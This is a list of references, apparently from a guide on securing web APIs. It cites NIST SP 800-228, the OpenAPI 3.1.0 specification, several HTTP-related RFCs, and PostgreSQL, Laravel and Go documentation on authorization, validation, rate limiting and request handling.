- NIST SP 800-228, Guidelines for API Protection for Cloud-Native Systems (updated March 13, 2026): https://csrc.nist.gov/pubs/sp/800/228/upd1/final, PDF https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-228-upd1.pdf
- OpenAPI Specification 3.1.0: https://spec.openapis.org/oas/v3.1.0.html
- RFC 9745 (Deprecation header): https://www.rfc-editor.org/rfc/rfc9745.html; RFC 8594 (Sunset header): https://www.rfc-editor.org/rfc/rfc8594.html; RFC 9457 (Problem Details): https://www.rfc-editor.org/rfc/rfc9457.html; RFC 9562 (UUIDs): https://www.rfc-editor.org/rfc/rfc9562.html
- PostgreSQL: UUID functions (18), row security policies
- Laravel 13: Authorization, Eloquent (mass assignment), Eloquent serialization (hidden), Eloquent API resources, Validation (form requests), Routing (rate limiting, scoped bindings), Rate limiting, HTTP client, Middleware, Sanctum, Errors, Release notes (attributes); Laravel 12 Eloquent (
$fillable/$guardedproperties): https://laravel.com/docs/12.x/eloquent - Go: Go 1.22 release notes (routing patterns), Routing enhancements blog, source net/http client.go, net/http request.go (MaxBytesReader), net/http server.go (ServeMux), encoding/json stream.go (DisallowUnknownFields), encoding/json decode.go